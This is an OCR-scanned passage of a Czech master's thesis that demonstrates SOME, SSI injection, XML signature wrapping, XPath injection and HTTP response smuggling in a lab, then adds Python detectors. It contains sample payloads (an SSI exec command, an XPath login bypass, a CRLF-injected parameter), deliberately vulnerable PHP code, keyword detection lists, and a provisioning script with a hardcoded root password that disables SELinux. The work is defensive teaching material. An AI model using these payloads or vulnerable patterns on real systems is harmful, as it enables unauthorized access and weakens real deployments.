stranky. Na téchto strankach se nachazi skodlivy kod, ktery je okamzité spustén. Na-
sledné jsou, bez dalsi interakce obéti, provedeny akce k ziskani riznych informaci z

jiného serveru, kam ma standardné uzivatel pristup.

3.2.1 Demonstrace utoku

Na obr. je znazornéna komunikace mezi jednotlivymi entitami pri atoku SOME.
Nejprve se klient pripoji na ttocnikiiv server, ktery ho nasledné presmeéruje s pod-
vrhnutymi tdaji na legitimni server. Pribéh ttoku lze popsat nasledujicimi kroky,
které odpovidaji obrazku V zévorce je vzdy uveden korespondujici paket z ob-
razku.
1. Klient kontaktuje server ttocnika (1) a jako odpovéd ziskd soubor index.html
(2), ktery obsahuje skodlivy skript.

2. Skript otevie nové okno winl (3,4).
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Uzivatel Utoénik
- 2. 0K 200, 4. OK 200
—:

e 1.GET/, 3. GET /win1.html e ¢

A

\4

6. OK 200, 8. OK 200
5. GET/, 7. GET call.php

Obr. 3.2: Zobrazeni komunikace béhem ttoku SOME

3. Skript dale presmeéruje puvodni okno na soubor index.html legitimniho serveru
(5,6).

4. Okno winl je presmérovano na soubor call.php legitimniho serveru s parame-
trem callback (7).

5. Server odpovi zaslanim skriptu (8), ktery se spusti v prohlizeéi.

Pro provedeni ttoku bylo nutné na serveru vytvorit webovou aplikaci. Struktura

projektu dle soubort je zobrazena zde:

/VaAr/WWW/WED_SOME .ottt e ettt einaeeeenn. adresar s webovou aplikaci
indexXx . html ...ttt e e uvodni stranka
deteCt . Py« ittt e modul detekce ttoku a logovani
I = - v soubor se zdznamy ttoku
ErTOr .10 . ceee ettt soubor se zaznamy chyb ve webové aplikaci
Call.php. o v soubor pro vykonani callback funkce

Jednotlivé soubory jsou k dispozici v piiloze Na strané ttocnika byla rovnéz
vytvorena aplikace pro provedeni utoku, ta se sklada pouze ze dvou soubori, jejich
obsah se nachéazi v piiloze [B.2

/var/www/http/some_attack ..........oviiiiiiiina... adresar s webovou aplikaci
t index . html . ... e e uvodni stranka
winl.html......ooouniiiiii i soubor pro vykondani callback funkce

Vystup sitového analyzétoru wireshark je na obr. [3.3] Zaznam byl pofizen béhem
utoku na hostujicim pocitaci, je zde pouzit filtr pro zobrazeni pouze paketi HTTP.
Tyto pakety odpovidaji komunikaci uvedené na obr. 3.2l V ¢asti data posledniho
paketu lze vidét skodlivy skript, ktery je prenasen ke klientovi.
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4 0.001044555 192.168.10.30 192.168.10.20 HTTP 395 GET / HTTP/1.1

6 0.001835530 192.168.10.20 192.168.10.30 HTTP 749 HTTP/1.1 280 OK (text/html)

8 0.406978349 192.168.10.30 192.168.10.20 HTTP 436 GET /winl.html HTTP/1.1

9 0.407577847 192.168.10.20 192.168.10.30 HTTP 868 HTTP/1.1 280 OK (text/html)

14 0.442333867 192.168.10.30 192.168.10.10 HTTP 439 GET /index.html HTTP/1.1

16 ©.442773329 192.168.10.10 192.168.10.30 HTTP 888 HTTP/1.1 280 OK (text/html)

22 3.539802821 192.168.10.30 192.168.10.18 HTTP 518 GET /call.php?&callback=window.of
3.567918459 & .1e. & .1e. HTTP/1.1 200 0K (text/html)

Frame 24: 432 bytes on wire 56 bits), 432 by C ed (3456 bits) on interface ©
Ethernet II, Src: RealtekU_ea:aa: 2 :0¢c) st: RealtekU_ab:a4:79 (52:5
- 1e]

Internet Protocol Version 4, Src: 192.168.

Transmission Control Protocol, Src Port: 80

Hypertext Transfer Protocol

Line-based text data: text/html
ipt>window.opener.document.body.firstElementChild.nextElementSibling.clic

Dst Port:

r

Obr. 3.3: Zdznam komunikace HTTP béhem utoku SOME

Pribéh dtoku z pohledu uzivatele lze vidét na obr. Nejprve je zobrazena
uto¢nikova stranka (a), ktera otevie novy panel (b). Dojde k pfesmérovani obou
paneli na legitimni server (c) a v ¢asti (d) je zobrazeny alert, ktery byl spustén

ptikazem kliknuti na tlacitko. VSe od casti (a) se déje bez uzivatelovi ¢innosti.

3.2.2 Implementace protiopatreni

Detekce a logovani jsou provadény v modulu detect.py, ktery je volan vzdy pti vyko-
navani callback funkce. Z nasledujiciho kédu je patrny princip detekce. V proménné
allowed callbacks je seznam funkci, které jsou povolené pro provedeni funkce call-
back. Tento seznam je nutné dle aktudlni potieby obménovat. V pripadé, ze se dané
funkce nenachazi v seznamu povolenych, je provedena funkce log. Ta zabezpecuje

zapsani zaznamu o detekovaném utoku do souboru log.txt.

def attack_detection(callback_name: str, ip):
allowed_callbacks = [’myDisplayFunction’, ’None’]
if all(map(lambda x: x not in callback_name, allowed_callbacks)):

log(ip, callback_name)

Zaznam obsahuje datum, typ utoku, IP adresu uzivatele a callback funkci, ktera

byla pouzita pri utoku.

01 May 2018 17:19:50 [SOME] attack detected from IP address:
192.168.10.30, callback function:

window.opener.document.body.firstElementChild.nextElementSibling.click
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Sample "Hello, World" Applic X |+

@ > ¢ @ (@ 192.168.10.20 _—
Hello, World

Some example X ‘ 192.168.10.20/win1.html x |+

“ = @ @ | G7 192.168.10.20/winl.html e
Some example X | » server-site.com/call.php” X | +

“— =5 X @ | ® server-site.com/call.php? &callback=window.opener.document.body.first e G
Some example X ‘ + server-site.com/call.php” X | +

@ - @ @ | (i) server-site.com/index.html v

Button was clicked!

[ JAallow dialogs from server-site.com to take you to their tab

Obr. 3.4: Priabéh tutoku z pohledu uzivatele
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3.3 Server Side Includes Injection

Pomoci SSI miize server jednoduchym zptlisobem zobrazovat dynamické udaje. K

tomuto ucelu je pouzit modul CGI, ktery automaticky spousti pottebné skripty.
Ukolem tohoto ttoku je ziskat skryté informace tykajici se samotného serveru.

Mize se jednat o systémové informace jako typ operac¢niho systému, seznam jeho

uzivateli, hardwarové komponenty, bézici procesy, atp.

Utoénik Server
2. 0K 200, 4. OK 200

= A
=

A
I -

e, 1. GET fform.html, 3. POST /cgi-bin/app.py

\4

Obr. 3.5: Zobrazeni komunikace béhem ttoku Server Side Includes Injection

3.3.1 Demonstrace utoku

Zranitelnost typu SSI injection se typicky vyskytuje u vyhledavacich formulai.
Pro tento utok byla vytvorena jednoducha webova aplikace, kterd simuluje moznost
vyhledavani na webové strance.

HTTP komunikace v rdameci ttoku SSI injection je zobrazena na obr. 3.5 Kli-
ent zasle HT'TP dotaz metodou GET pro ziskdni webové stranky, ktera obsahuje
vyhledavaci formular. Po obdrzeni odpovédi od serveru zasila pozadavek metodou
POST na webovy server, ktery spusti CGI skript. Vystup skriptu zasle jako HT'TP
odpoved.

Struktura webové aplikace na serveru dle souborii je zobrazena zde a soubory

jsou k dispozici v pifloze [D]

/Var /WWW/WED_SSS1 v v v e ettt adresar s webovou aplikaci
o= R o 1 sablony HTML stranek
| APP PV e v et spoustéci skript webové aplikace
form.html ... e prihlasovaci stranka
1og . tXE o soubor se zaznamy utoku
test. html ..ot i e e soubor pro ovéreni detekce

UZzivateli je zobrazen formuldr /form.html, ktery po vyplnéni spusti skipt /cgi-
bin/app.py. U¢elem tohoto skriptu je pouze zobrazeni uZivatelem zadaného textu v
poli search na dalsi HTML strance, viz obr. [3.0]

V souboru app.py jsou ziskana data od uzivatele a ulozena do proménné search_value.

Tyto data jsou néasledné zaslana uzivateli zpét. Veskery vystup souboru je bran jako
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&« > G @ © 192.168.10.10:8080/form.html

Search

xec cmd="ls -l &ls -1.."-->

Submit

&« & @ | ® 192.168.10.10:8080/cgi-bin/app.py v @ HO» =

Search result: total 8 -rwxrwxr-x. 1 apache apache 1442 Dec 9 13:34
app.py -Twxrwxr-X. 1 apache apache 228 Dec 8 16:00 test.py total 28
drwxrwxr-x. 2 apache apache 4096 Dec 24 11:08 cgi-bin -rw-rw-r-. 1
apache apache 7733 May 18 09:13 errorlog -rw-rw-r—-. 1 apache apache
256 Dec 8 16:00 form.htm! -rw-rw-r-. 1 apache apache 14 Dec 8 16:00
index.html -rw-r-r--. 1 apache apache 1472 May 18 11:17 log.txt -rw-r-
r—. 1 apache apache 71 May 18 11:17 test.html

Obr. 3.6: Provedeni utoku SSI injection z pohledu utoc¢nika

formét html. Jak je vidét z obr. [3.6] piikaz ktery byl vlozen je zpracovan na serveru
a utocnikovi je zaslan jeho vysledek.

Vystup z programu wireshark na obr. zachycuje pakety korenspondujici s
komunikaci na obr. [3.5] V ¢erveném ramecku je oznacen piikaz, ktery zasild utocnik
pomoci metody POST na server. Na obr. [3.§]je zobrazen vypis dat odpovédi serveru.

Zde je ziskdn seznam souborti, které obsahuje tato webova aplikace.

6 4.748052928 192.168.10.20 192.168.10.10 HTTP 444 GET /form.html HTTP/1.1
8 4.748536089 192.168.10.10 192.168.10.20 HTTP 576 HTTP/1.1 280 OK (text/html)
10 9.218560666 192.168.10.20 192.168.108.10 588 POST /cgi-binsapp.py HTTP/1.

18 9.693837991 192.168.10.10 192.168.10.20 HTTP 77 HTTP/1.1 260 OK (text/html)

Frame 10: 580 bytes on wire (4640 bits), 580 bytes captured (4640 bits) on interface @
), Dst: RealtekU_ea:aa:08c (52:54:00:ea:aa:6c)
38 . 7 2.168.16@
52814, Dst Port: 8080, Seq: 379, Ack: 511, Len: 514

Obr. 3.7: Provedeni utoku SSI injection z pohledu tutoénika
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Hypertext Transfer Protocol
Line-based text data: text/html
Search result: total 28\n
dr Xr-x. 2 apache a =

form.html\n
i html\n

Obr. 3.8: Vypis dat z HT'TP odpovédi pri utoku SSI injection

3.3.2 Implementace protiopatreni

Detekce uitoku SSI injection je provedena dvéma riznymi zpisoby.
Prvnim zptisobem je porovnani vstupu od uzivatele s definovanymi vyrazy fe-
tézcu, které by se zde nemély vyskytovat. Pokud je zjisténo, ze se v dotazu vyraz

objevuje, je tento pokus o utok zaznamenan.

def attack_detection(query: str):

list_expressions = ["<!-=", "-=>"_ '<gscript>", "<pre>"]

if any(map(lambda x: x in query, list_expressions)):

log("1", query)

HTTP POST | Apache
HTTP Klient vyhledavani -~ HTTP GET
Firefox, CGI
curl, apod. Skript
P HTTP 200 OK - i
Vysledek

Obr. 3.9: Zobrazeni komunikace béhem utoku SSI injection s detekci

Ve druhém zptlisobu se ovétuje, ze vstup od uzivatele je zachovan v opoveédi, kte-
rou odesle webovy server. Detekce je zaznacena na obr. pomoci metody HTTP

GET. V prvni ¢ésti je obdrzeny fetézec zapsan do souboru test.html, ktery je ulozen
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mezi soubory dostupné pres webovy server apache. V druhé casti je tento soubor
stahnut, tentokrat vSak pomoci protokolu HTTP z béziciho webserveru. Pokud byl
retézec pokusem o zneuziti zranitelnosti, retézec ma jiny obsah, nez ktery byl pu-
vodné zapsan do souboru. V pripadé pozitivniho nalezu je tento zaznamenan do
logovaciho souboru.

Zasadni ¢ast koédu pro detekci rozdilu mezi obdrzenym retézcem a stazenym

souborem test.html je zobrazena v nasledujicim vypisu.

if all(map(lambda line: search_line not in line, r.text.split(’\n’))):

log("2", query)

Funkce log prebira dva argumenty. Prvnim je tag, ktery oznacuje zptsob kterym
byl dany utok detekovan. Druhy argument query obsahuje uzivateltiv vstup. Zaznam
o detekci se zapise do souboru log.txt.

V nasledujici ukazce je zobrazen jeden ze zaznamu detekovaného utoku. Obsahuje

datum, cas, klientovu IP adresu a dotaz zaslany tto¢nikem.

18 May 2018 11:17:04 [SSI][2] injection detected from IP address:
192.168.10.20, query: <!--#exec cmd="ls -1 & 1s -1 .."-->

3.4 XML Signature Wrapping attack

Pri utoku XML Signature Wrapping attack je zasadnim problémem moznost ma-
nipulace s podepsanymi SOAP zpravami. Utoénik miize lehce presunout podepsané
elementy do jiné ¢asti dokumentu a na puvodni pozici pridat element novy. Timto
dosahne zachovani spravné podepsaného dokumentu a serverem bude zpracovan noveé

vytvoreny element.

3.4.1 Demonstrace utoku

Na obr. je zobrazena paketova komunikace pri itoku XML Signature Wrapping
attack. Uzivatel navaze komunikaci se serverem a obdrzi od néj pozadovana data.
Pokud ttocénik odchyti komunikaci se serverem, provede tipravu dotazu zaslaného
na server a taktéz ziska spravnou odpoveéd.

Jednotlivé kroky komunikace lze popsat nasledovné:

1. Uzivatel zasle HTTP dotaz na pozadovanou stranku serveru.

2. Server odpovi xml dokumentem, ve kterém jsou uvedena pravidla a definice

pro komunikaci s webovou sluzbou.
3. Uzivatel zasle konkrétni dotaz metodou POST na server.

4. Server v odpovédi pro uzivatele uvede pozadovana data.
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Uzivatel Server

=—|l 2.0K 200, 4. OK 200
I-.=’.,? 1. GET /item , 3. POST /item

5. POST /item

A
I — 4
A\ 4
_.

6. OK 200

Utoénik

Obr. 3.10: Zobrazeni komunikace béhem utoku XML Signature Wrapping attack

5. Uto¢nik obdrzel dotaz na server, upravi strukturu tohoto xml dokumentu a

zasle novy dotaz na server.

6. V pripadé, ze novy dotaz zachoval spravnost digitalni podpisu, prijde ze serveru

odpoved jakoby dotaz pochazel od legitimniho uzivatele.

Z podtypu utoku, které jsou uvedené v sekci [2.3] byl vybrdan XML Signature
Wrapping - Simple Context. Pro provedeni utoku bylo nutné na serveru vytvo-
rit webovou aplikaci. Bohuzel pro jazyk Python neexistuje knihovna pro vytvareni
SOAP sluzeb s podporou podpistu. Z tohoto divodu byly vytvoreny predem defi-
nované odpovédi, které jsou ulozeny v souborech formatu xml. Modul pro praci s
podpisy, ktery je implementovan v souboru signature.py, byl pfevzat z knihovny
zeep. Verejny kli¢ klienta je pouzit pro ovéreni spravnosti podpisu prijaté zpravy.
Soukromy kli¢ serveru je pouzit k podepsani odpovédi. Struktura projektu dle sou-

borti je zobrazena zde, obsah vybranych soubori je dostupny v piiloze [E.1]

/var/www/web_xmlsig ....ooviiiiiiiiiiiiiiiiiiii adresar s webovou aplikaci
data. XML . oottt databéaze
F1asK _@PP . PV ccceeerrmmmniiia e spoustéci skript webové aplikace
signature.py.............. modul pro vytvareni a ovérovani digitdlnich podpisi
AeteCt . Py « ettt e modul detekce ttoku a logovani
TEeSPONSe.XML ..ottt soubor s definicemi pro komunikaci
XKML _S. XMLttt e xml Sablona odpovédi
Client.pem......oviiiiiiiiiiiiiiiiiiiii e soubor s certifikdtem klienta
Client _publiC.Key ..cvviitimiiiiieee i verejny kli¢ klienta
SO VT L RO ettt ettt soukromy kli¢ serveru
SEIrVETr . PeM. ittt ittt soubor s certifikdtem serveru

Klientska strana této demonstrace ttoku je implementovana v jediném skriptu
client.py, ktery je k dispozici v piiloze [E.2]
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/root/xml_signature_wrapping_attack............... adresar se soubory uzivatele

Cliemt . Py . et spustitelny skript
Client . PeM...ovviiiiiiiiiiiiiii i, soubor s certifikdtem klienta
Client . REY .ttt ettt e soukromy kli¢ klienta
SO VET L PO ottt et ettt ettt soubor s certifikatem serveru

V souboru request_ changed.xml je uloZena zprava, jez byla odchycena ttocni-
kem pri komunikaci mezi klientem a serverem. Tato zprava byla upravena postupem

popsanym v teoretické casti. Tento soubor je odeslan na server pomoci skriptu at-

tack.py (priloha [E.3)).

/root/xml_signature_wrapping_attack............... adresar se soubory ttocnika
B ALK P e ettt e spustitelny skript
request_changed.xml.........ooiiiinniiiinnnnnnen... xml dokument s ttokem

3.4.2 Implementace protiopatreni

Na strané serveru byl vytvoren modul detect.py, ktery slouzi k detekci a zaznamenéani
utokl. Princip detekce spociva ve zjisténi duplicitnich elementt v prijatém HTTP
dotazu. V kédu nize je vidét zasadni ¢ast detekce.
Nejprve se prochazi stromova struktura xml dokumentu a do proménné tags
se zapisi znacky vSech elementii. Nasledné se zjisti existence duplicitnich elementii.
Ze seznamu pro kontrolu je nutné vyjmout elementy, které jsou v dokumentu spravné
obsazeny vicekrat a predstavovaly by falesné pozitivni vysledky. Do proménné list_ of elements
jsou zapsany elementy, které maji v xml dokumentu stejné znacky. V pripadé, ze je

tento pocet vétsi nez jedna, jednd se o utok a jeho pokus je zalogovan.

context = etree.iterparse(io.BytesIO(root), events=(’end’,))
fast_iter(context, process_element)
allowed_duplicates = [’Transform’, ’Transforms’, ’DigestMethod’,
’DigestValue’, ’Reference’]
for tag in tags:
if any(map(lambda x: x in tag, allowed_duplicates)):
continue
list_of_elements = etree.fromstring(root).
xpath("//*[local-name() = " + tag + "’]")
if len(list_of elements) > 1:

log(ip, tag)

V nasledujicim vypise je zobrazen zaznam detekovaného titoku ze souboru log.txt.
V tomto ptipadé byl duplikovan element Body vcetné jeho potomki get quantity
a bstrParaml. Je zde vidét datum a cas detekce, typ utoku, IP adresa utoc¢nika a

nazev duplicitniho elementu.
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20 May 2018 14:40:06 [XML signature wrapping] attack detected
from IP address: 192.168.10.20, element name: bstrParamil

20 May 2018 14:40:06 [XML signature wrapping] attack detected
from IP address: 192.168.10.20, element name: get_quantity

20 May 2018 14:40:06 [XML signature wrapping] attack detected
from IP address: 192.168.10.20, element name: Body

20 May 2018 14:40:06 [XML signature wrapping] attack detected
from IP address: 192.168.10.20, element name: bstrParamil

20 May 2018 14:40:06 [XML signature wrapping] attack detected
from IP address: 192.168.10.20, element name: get_quantity

20 May 2018 14:40:06 [XML signature wrapping] attack detected
from IP address: 192.168.10.20, element name: Body

Utok typu XML Signature Wrapping attack ma ¢tyfi riizné podtypy, jak je uve-
deno v sekci 2.3l 'V téchto trech pripadech: Simple Context, Optional Element in
Security Header a Namespace Injection dochazi vzdy k duplikovani elementii a itok
je spravné detekovan. Pri Namespace Injection sice patii element do jiného jmenného
prostoru, ale detekce na tomto faktu neni zavisla.

V podtypu Optional Element je podepsany element véetné celého jeho podstromu
vnotren do nové vytvoreného elementu, ktery se mize nazyvat napiiklad Wrapper.
Tento podtyp neni jako jediny mozno detekovat implementovanou metodou. Tomuto
utoku je mozné predejit striktnim pouzivanim absolutnich cest ve vyrazech XPath

pri zpracovani vstupu od uzivateli.

3.5 XPath Injection

Utok XPath Injection cili na ziskani pristupu do webové aplikace na serveru, muze se
jednat napt. o e-shop, email, bankovnictvi, atp. Nutnym prvkem k provedeni itoku

je existence databaze v podobé xml.

3.5.1 Demonstrace utoku

Aplikace demonstruje utok XPath injection pomoci jednoduchého formulare pro
prihlaSeni na webové strance. Uzivatel zad4 prihlasovaci iidaje a po zaslani udaji je
mu zobrazen vysledek pokusu o prihlaseni.

Komunikace mezi jednotlivymi stanicemi v pribéhu ttoku je zobrazena na ob-
razku[3.11] Nejprve je od ttocnika zaslan pozadavek typu GET pro ziskdni stranky s
prihlasovacim formularem. Po obdrzeni odpovédi od serveru zasle itocnik na server
data, ktera by se mohly vyhodnotit jako spravné prihlaseni. Server zasle odpovéd s

vysledkem prihlaseni.
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Utoénik Server

_|l 2. 0K 200, 4. 0K 200 .I
—=

— O 1. GET /login , 3. POST /login
Obr. 3.11: Zobrazeni komunikace mezi stanicemi béhem ttoku XPath Injection

A

il

\4

HTTP
HTTP POST server
HTTP Klient | Piihlasovaci udaje | ... XPath dotaz [y
Firefox, Aplikace databaze
curl, apod. 2 o
P HTTP 200 OK  -------- Usivatelské [D [UZivateln
Vysledek prihlaseni nebo nic

Obr. 3.12: Zobrazeni komunikace béhem ttoku XPath injection

Na obr. je vidét, jakym zptisobem je vyhodnoceno zaslani prihlasovacich
dat na server. Uzivatel zasle své prihlasovaci iidaje metodou POST protokolu HT'TP
na server. Zde je nasazen webovy server apache, ktery preda tuto zpravu webové
aplikaci. Ta déle vytvori pozadavek ve formatu XPath a dotaze se XML databaze
uzivateli, kterd overi prihlasovaci idaje a zasle odpovéd aplikaci. Nasledné je zaslana
HTTP odpovéd uzivateli s vysledkem pozadavku uzivateli.

Pro implementaci webové aplikace je pouzit Flask — webovy framework pro Py-
thon. Pro Python je mozné vyuzit podpory xml a xpath naptiklad v knihovnach
libxml2, ElementTree, Ixml. V této praci je pouzita knihovna lxml, jeji dokumen-
tace viz [8]. Struktura projektu dle soubori je zobrazena zde, obsah souboru je

dostupny v priloze [C]

/var/wuw/web_xpath ... adresar s webovou aplikaci
templates ..o Sablony HTML stranek
| login . html .o e prihlasovaci stranka
data. XML ..ottt e databaze uzivatell
data_ CheCKk. XMl . oottt ittt ettt ettt ettt falesna databéaze
AeteCt Py« ettt e modul detekce ttoku a logovani
1og. EXE vt soubor se zdznamy ttoku
USErdb. Py . oottt modul autentizace uzivatelt
WEDAPD . PY ¢ttt v v e e spoustéci skript webové aplikace
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22 5.772798648 192.168.10.20 192.168.10.10 HTTP 441 GET /login/ HTTP/1.1

24 5.774374998 192.168.10.10 192.168.10.20 HTTP 737 HTTP/1.1 280 OK (text/html)
32 9.168276627 192.168.10.20 192.168.10.10 HTTP 567 POST /login/ HTTP/1.1 (appli
33 9.170741178 192.168.10.106 192.168.108.20 HTTP 326 HTTP/1.1 200 0K (text/html)

Frame 32: 7 s (4 its), 7 red (4536 bits) on int
altekU_ea:aa:0c ( raa:0c)
2.168.10.10
Dst Port: 8@81, Seq: 376, Ack: 672, Len: 581

application/x-www-form-urlencoded
o i s

Obr. 3.13: Zobrazeni komunikace HT'TP béhem ttoku XPath Injection

Uzivateli se pri dotazu na adresu /login/ nacte soubor login.html, ktery obsahuje
prihlasovaci formuldr. Soubor data.xml je XML databazi, kterd obsahuje seznam
uzivateli. Kazdy uzivatel ma pritazeno id, username a password.

Autentizace probiha ve zvlastnim souboru userdb.py, kde je v proménné path
ulozen tetézec ve formatu XPath. Do néj jsou zakomponovany prihlasovaci idaje,
které uzivatel zaslal na server. Tento Tetézec je nasledné vyhodnocen pomoci funkce
xpath(). Navratova hodnota tohoto vyrazu je uzivatelské id pri tspésném piihlaseni
a prazdny Tetézec pri neuspésném prihlaseni.

Provedeni tutoku je ukazano na obr. kde je odchycena HTTP komunikace
programem wireshark. V tomto prikladu je jako login pouzit fetézec: abc’ or 1=1 or '2=2
a jako heslo prazdny Tetézec. Server pokus vyhodnoti jako prihlaseni legitimniho uzi-

vatele.

3.5.2 Implementace protiopatreni

Na strané serveru je implementovan modul detekce ttoku a modul zaznamenéani
utokl detect.py. Pro detekci itoku jsou vyuzity dva rtzné zpusoby detekce.

Prvni zptisob je zalozen na vyhledani klicovych vyrazi v fetézci login. Pokud se
ve vyrazu vyskytne alespon jeden z uvedenych, je tento pokus o prihlaseni oznacen

jako utok a zalogovan.

def attack detection(login: str, passwd, env):

list_expressions = ["’or’", " or", "or ", " or ", "’and’", " and",

"and n, " and n, HJ=)H, ([ — n, n =u, n— u]

if any(map(lambda x: x in login, list_expressions)):

log("1", login, passwd, env)
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V druhém pripadé je vyuzito dvou ritznych databazi. Prvni databaze ztstava
stejna jako doposud. Druha databéze je podobné jako prvni, jsou v ni pouze zménény
hesla prislusnych uzivateli tak, aby nebyly shodné. Jedné se o soubor data_ check.xml.
Nyni pro obé databaze provedeme autentizaci popsanou vyse. Ziskdame hodnoty id:
id_real db aid_fake db, ty jsou bud prazdnym rfetézcem anebo obsahuji ¢iselnou
hodnotu. Pokud je vysledkem v obou pripadech stejna hodnota id a nejedna se o
prazdné Tetézce, pak se jedna o utok, nebot se itoc¢nik prihlasil jako dany uzivatel,

nezavisle na uzitém hesle.

id_real_db
id_fake_db

Lx.authenticate_user(login, passwd)

Lx.authenticate_user(login, passwd, ’data_check.xml’)

if id _fake db == id_real db:
if id_real_db != "":
log("2", login, passwd, env)

Funkce logovani je volana vzdy pii detekovaném utoku. Prebird argument tag,
ktery oznacuje typ detekce, kterym byl utok odhalen. Dale ptrihlasovaci jméno, heslo
a proménnou prostiedi, ktera obsahuje parametry zaslané zadosti na server, zde je
vyuzita IP adresa klienta.

Cely zaznam tutoku je pripojen na konec souboru log.txt, jeho podoba je nasle-

dovna:

18 May 2018 09:09:17 [XPath] [2] injection detected from
IP address: 192.168.10.20, username: abc’ or 1=1 or ’2=2, password:

3.6 HTTP Response Smuggling

Cilem ttoku je otrdveni mezipaméti proxy serveru. Uto¢nik vyuZivd zranitelnost
webové aplikace, kterd svou odpovédi otravi zminénou mezipamét. Pro demonstraci
tohoto tutoku byl vytvoren novy virtualni stroj, tentokrat s operacnim systémem
CentOS 6. Na tento server byly nainstalovany staré verze HTTP serveru Apache
a HTTP proxy Varnish, které jesté neobsahuji opravy ke zranitelnostem HTTP
splitting a smuggling.

3.6.1 Demonstrace utoku

Prabéh tutoku je zobrazen na obr. 2.2l Pro webovy server byla napsana ukézkova
aplikace, kterd nevhodnym zpisobem nastavuje hlavicku Location. V ukézce [9] je
zobrazena ¢ast kodu v PHP pro zpracovani udaju zadanych od uzivatele. Prevzaty

vstup je bez jakékoliv kontroly zpracovan.
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$url = "redirected_page.html?" . $name ;

header(’Location: ’> . $url, true, 302);
Listing 9: PHP skript generujici HT'TP odpovéd s hlavickou Location

Struktura projektu dle souborti je zobrazena nize a obsah nékterych z nich je
piiloZen v piiloze [F.1]

/var/www/html .. ..o e adresar s webovou aplikaci
index. html. ...t e ivodni stranka
AeteCt . Py« ettt e modul detekce ttoku a logovani
<Y = v soubor se zaznamy utoku
redirected_page.html ...............o.unn. soubor na ktery se ma presmeérovat
page_with_parameter.php.......... soubor pro zpracovani uzivatelského vstupu

Uto¢nik ma na své stanici vytvofeny skript attack.py, kterym zasle na server
HTTP dotaz, ktery zaroven obsahuje specialné upravenou HT'TP odpovéd. Ta bude
skriptem na strané serveru zpracovana a odeslana jako druha, nezdadouci odpovéd.
Situaci zobrazuje obrazek [3.14] V névaznosti na prvni zprdvu odesle uto¢nik zpravu
druhou, ktera cili na index.html. Druha odpovéd na ptvodni dotaz bude interpre-

tovana jako odpovéd na druhy dotaz.

452 HTTP/1.1 302 Found HTTP/1.
66 58276 — 88 [ACK] Seq=236 Ac

Ethernet II, Src: RealtekU_79:37:al1 (52:54 9:37:al), Dst: RealtekU_4e
Internet Protocol Version 4, Src: 192.168.10.50, Dst: 192.168.10.1
Transmission Control Protocol, Src Port: 80, Dst Port: 58270, Seq: 1, Ack: 22

Obr. 3.14: Odpovéd webového serveru pri itoku HTTP response smuggling
Tento utok se nepovedlo tspésné provést. Komunikace ze strany serveru probi-

hala podle ocekavani, ale HT'TP proxy Varnish samostatné ttoku zabranil a cache

poisoning neprobéhl.
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3.6.2 Implementace protiopatreni

Na strané serveru je vytvoren modul detect.py, ktery je volan v pripadé spusténi
skriptu page with_parameter.php, ktery zpracovava vstup od uzivatele.

Princip detekce je zalozen na vyhledani klicovych vyrazt v prijatém retézci.

def attack_detection(parameter_ name: str, ip):

list_expressions = ["%20", "%0D", "%0d", "Content-Length:",
"HTTP/", "<html>", "<script>", "Location:", "charset=",
"Content-Type:", "Set-Cookie:"]

if any(map(lambda x: x in parameter_name, list_expressions)):

log(ip, parameter_name)

Listing 10: Funkce pro detekci utoku HTTP response smuggling

Funkce logovani je volana vzdy pii detekovaném tutoku, tedy pokud se nékteré z
uvedenych klicovych vyrazi objevi v fetézci od uzivatele. Zaznam obsahuje cas, typ
utoku, IP adresu a data zaslana tito¢nikem na server. Cely zaznam titoku je pripojen
na konec souboru log.txt, jeho podoba viz ukézka [T1]

21 May 2018 06:39:34 [HTTP response smuggling] attack detected from IP address:
192.168.10.50, URL parameter: name=foobar’,0DHeader:Test’0DContent-Length:
17%0D%O0DHTTP/1.0%20200%200K%0DContent-Type: %20text/html

Listing 11: Zaznam detekovaného ttoku HTTP response smuggling
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4 ZAVER

V této diplomové praci jsem se vénovala zranitelnostem webovych aplikaci pro utoky
Same Origin Method Execution (SOME), XML Signature Wrapping attack, XPATH
Injection, HTTP Response Smuggling a Server-Side Includes (SSI) injection.

V prvni kapitole byly rozebrany stézejni teoretické poznatky. V druhé kapitole
byly vyse zminéné utoky analyzovany a popsany jejich zranitelnosti. Déle jsem v
programovacim jazyce Python vypracovala ukazkové webové aplikace, které obsahuji
zminéné zranitelnosti. Jejich struktura je predstavena v implementacni ¢asti prace,
kod je pak obsazen v priloze.

Vétsina utokl byla tspésné demonstrovana v experimentalnim prostredi. Pouze
utok HTTP Response Smuggling zde nebyl tspésné proveden z divodu opravenych
zranitelnosti v programech Apache a Varnish. Nésledné byl vytvoren server se star-
sim operacnim systémem CentOS 6 a byli zde nainstalovany starsi verze balikl, ve
kterych zranitelnosti opraveny nejsou. Nicméné se i presto nepovedlo utok provést
spravnym zpusobem.

V programovacim jazyce Python byly vytvoreny nastroje pro detekci vSech zmi-
nénych utoku a byly zaclenény na webovy server. Pro utoky XPATH Injection a
Server-Side Includes (SSI) injection byly implementovany dva rtzné zpusoby de-
tekce. Detekce utoku je plné funkéni i pro utok HTTP Response Smuggling. V
ramci detekce jsou ve vsech pripadech vytvareny zaznamy o provedenych ttocich do
logovacich souborii. Tyto metody detekce jsou popsany v implementacni ¢asti prace.

Vystupem prace jsou také vytvorené videa, ve kterych je popsan princip vSech
utoku a jejich detekce.
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A VAGRANTFILE

# —x- mode: ruby —*-

# vi: set ft=ruby :

$script = <<SCRIPT
echo "root789pass" |passwd root --stdin
su -
dnf install httpd -y
dnf install vim -y
dnf install wget -y
dnf install php php-common -y
dnf install gcc -y
systemctl enable httpd

rmdir /var/www/cgi-bin
rmdir /var/www/html
mkdir /var/www/web_some
mkdir /var/www/web_ssi
mkdir /var/www/web_xpath

mkdir /var/www/web_xmlsig

# some attack
cp /vagrant/Some/index.html /var/www/web_some/
cp /vagrant/Some/call.php /var/www/web_some/
cp /vagrant/Some/detect.py /var/www/web_some/

# ssi attack
rsync -av /vagrant/SSI/web/* /var/www/web_ssi/

touch /var/www/web_ssi/error.log

# xpath attack
rsync -av /vagrant/Xpath/* /var/www/web_xpath/

# xml sig. wrapping attack
cp /vagrant/Xml_wrapping/* /var/www/web_xmlsig/

#httpd configs
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cp /vagrant/virtualhost.conf /etc/httpd/conf/
cp /vagrant/httpd.conf /etc/httpd/conf/

chown -R apache:apache /var/www/

dnf install python3-mod_wsgi -y

yum install python3-devel -y

yum install libxml2-devel xmlsecl-devel xmlsecl-openssl-devel
libtool-1tdl-devel -y

pip3 install flask

pip3 install 1xml

pip3 install zeep

pip3 install xmlsec
setenforce 0O
systemctl start httpd

SCRIPT

Vagrant.configure("2") do |config]

config.vm.box = "fedora/27-local-cloud-image"

config.vm.hostname = "server"

config.vm.define :server

